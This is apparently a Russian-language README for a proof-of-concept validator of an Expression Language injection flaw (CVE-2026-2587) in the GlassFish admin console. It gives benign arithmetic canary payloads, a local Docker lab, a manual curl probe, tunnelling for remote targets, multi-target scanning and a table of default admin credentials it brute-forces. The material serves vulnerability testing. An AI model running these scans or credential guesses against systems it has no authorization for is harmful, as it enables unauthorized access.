Если XML содержит `#{7*7}` в атрибуте `<ModulePrefs title="">`, GlassFish вычисляет его на стороне сервера и возвращает `49` — подтверждая выполнение EL. Полная цепочка RCE следует через доступ EL к среде выполнения Java.

Текущие записи публичных рекомендаций не публикуют границы затронутой или исправленной версии. Поэтому данный валидатор является доказательным: он идентифицирует GlassFish и сообщает метаданные версии, но не классифицирует цель как уязвимую только на основе строки версии.

---

## Как это работает

![Безопасный рабочий процесс проверки для CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

Безопасный путь проверки размещает безвредный XML-зонд, отправляет аутентифицированный запрос к консоли администратора на `gadget.jsf`, позволяет GlassFish получить этот XML из URL обратного вызова и проверяет, вычисляется ли канарейка `<ModulePrefs title="">` из `#{7*7}` в `49`.

**Точка внедрения подтверждена или нет:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**Содержимое репозитория:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Запускает GlassFish 7.0.15 с портами, привязанными только к `127.0.0.1`, и предварительно настроенным `host.docker.internal`, чтобы контейнер мог достичь вашего локального XML-сервера.

### Option B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Проверьте доступность с точки зрения контейнера:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **Уязвимо** — EL выполняется в `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Уязвимо** — EL выполняется в теле CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Не уязвимо / EL не выполняется |
| *(нет вывода)* | GlassFish никогда не получал XML — проверьте доступность обратного вызова |

> Тело CDATA обычно остается необработанным даже на уязвимых сборках; одного положительного результата `TITLE` достаточно, чтобы подтвердить вывод.

---

### Автоматическая проверка в локальной лаборатории```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Вывод после записи в файл:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` разрешает хост-машину изнутри Docker.
> Контейнер GlassFish получает ваш XML-зонд по этому адресу.

---

### Учетные данные```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Если найдена валидная пара, она выводится в результатах и записывается в столбец `brute_creds` CSV-файла. Если все пары не подходят, сканирование завершается с кодом `AUTH_REQUIRED`.

Некоторые сборки GlassFish возвращают `/login.jsf` после успешного POST-запроса формы. Валидатор не считает такой URL сам по себе признаком неудачи; он подтверждает сессию, проверяя конечную точку админ-гаджета и убеждаясь, что ответ не является формой входа.

Список перебираемых учётных данных (по порядку):

| Имя пользователя | Пароль |
|---|---|
| `admin` | `admin` |
| `admin` | *(пусто)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Удаленный доступ через Cloudflare Tunnel

Для быстрого туннеля учетная запись не требуется.

**Шаг 1 — Установите cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**Шаг 3 — Запуск валидатора:**

Используйте тот же сгенерированный хостнейм с `http://` для callback-URL. Это позволяет избежать ошибок JVM trust-store в лабораторных контейнерах GlassFish, которые не могут проверить цепочку сертификатов Cloudflare TLS. Если вы вставите сгенерированный `https://` trycloudflare URL, валидатор перезапишет этот callback на `http://` и выведет предупреждение. Косую черту в конце можно не ставить; валидатор автоматически добавляет `/canary.xml` и пути к XML для каждого теста.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`, `--left`, `--right` должны соответствовать значениям внутри вашего размещённого XML-файла, чтобы скрипт знал, какой вычисленный токен искать в ответе.

---

### Удалённый доступ через ngrok (крайнее средство)

Используйте ngrok только как крайнее средство для удалённых целей. Бесплатный тариф может блокировать серверные запросы, которые не поступают из браузера, возвращая промежуточную предупредительную HTML-страницу. В этом случае GlassFish загружает предупредительную страницу вместо вашего `probe.xml`, и валидатор может классифицировать ответ как страницу входа или неопределённый результат. Предпочтительнее использовать Cloudflare Tunnel, VPS или статический веб-хостинг, с которого целевая JVM может чисто загружать данные, если только у вас нет платного аккаунта ngrok, обходящего это ограничение.

**Шаг 1 — Установка ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**Шаг 3 — Запустите валидатор:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

## Использование — Несколько целей

### Формат файла целей

Репозиторий включает `targets.txt.example` в качестве шаблона. Скопируйте и отредактируйте его:

``````bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

Запуск против всех целей:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> Рекомендуемое количество потоков:
> - Локальная лаборатория: до `10`
> - Удаленные цели через интернет: `3–5` (соблюдайте лимиты запросов)
> - Одиночная цель: `1` (по умолчанию)

---

## Форматы вывода

### Консоль

Вывод, удобный для чтения человеком, по умолчанию. Используйте `--verbose`, чтобы увидеть результаты для каждого тестового случая.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

---

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

---

### JSON```bash
--json

Несколько целей возвращают массив JSON.

---

### Объединение результатов

Все форматы вывода независимы — комбинируйте свободно:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

Он также узнаёт корневой контекст графического интерфейса, отличный от стандартного, из заголовков перенаправления `Location` и добавляет этот корень перед тестированием. Используйте повторяемые значения `--path` только когда хотите переопределить этот список обнаружения.

Определение версии выполняется из заголовков ответа, REST API управления, страницы входа и после успешного входа из `/__asadmin/version.json` или `/__asadmin/version`. Данные о версии улучшают только маршрутизацию и отчёты; сканер оставляет `version_affected` как `UNKNOWN` до тех пор, пока публичные записи об уязвимостях не опубликуют границу версий.

---

### Пользовательские канареечные значения

Сопоставьте валидатор с собственноручно созданным XML, используя `--prefix`, `--left`, `--right`. Требуется при использовании `--xml-url` с вашим собственным размещённым файлом.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Тестовые сценарии

Валидатор выполняет 10 отдельных EL-проб, каждая из которых подтверждает определённую возможность:

| # | Payload | Expected | Что доказывает |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Базовый арифметический канарейка |
| TC-02 | `#{1337+2587}` | `3924` | Оператор сложения |
| TC-03 | `#{31337*271}` | `8492327` | Устойчивое к коллизиям большое умножение |
| TC-04 | `#{9999-1337}` | `8662` | Оператор вычитания |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Вложенные скобки / приоритет операторов |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Условный / тернарный оператор — выполнение потока управления |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Доступ к строковому методу |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Цепочка вызовов методов |
| TC-09 | `#{17 mod 5}` | `2` | EL-ключевой оператор |
| TC-10 | `#{100*100}` | `10000` | Дополнительное арифметическое подтверждение |

TC-06, TC-07 и TC-08 наиболее значимы — их прохождение означает, что движок EL выполняет **строковые методы API и условную логику**, что является прямой предпосылкой для полноценной цепочки RCE.

---

## Интерпретация вывода

| Статус | Значение |
|---|---|
| `VULNERABLE` | EL-выражение выполнено — экземпляр подтверждён как уязвимый |
| `VULNERABLE_UNAUTH` | Конечная точка доступна без аутентификации — хуже, чем базовый CVE |
| `NOT_VULNERABLE` | Выражение отображается буквально — EL не выполняется |
| `AUTH_REQUIRED` | Конечная точка возвратила страницу входа — проверьте cookie или учётные данные |
| `INCONCLUSIVE` | Ответ получен, но канарейка не найдена — см. ниже |
| `ERROR` | Запрос не удался — проблема сети/TLS |

`detected_version` и `version_source` являются вспомогательным контекстом. Поскольку публичные уведомления в настоящее время указывают затронутые и исправленные версии как неизвестные, не расценивайте `version_affected=UNKNOWN` как отрицательный результат. Единственным положительным признаком является выполненный проверочный токен.

**Устранение неполадок INCONCLUSIVE:**

| Симптом | Причина | Исправление |
|---|---|---|
| `XML hits: 0` | GlassFish никогда не получил ваш XML | `--callback-url` недоступен с целевого компьютера |
| `XML hits: 1+`, но нет совпадения | EL выполнился, но неверное поле | Ожидаемо для содержимого CDATA |
| Перенаправление аутентификации в середине выполнения | Сессия истекла | Получите свежий `JSESSIONID` из браузера |
| POST для входа перенаправляет на `j_security_check` | Неверный пароль | Используйте `--cookie` вместо этого |

---

## Ручная проверка

Python не требуется:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>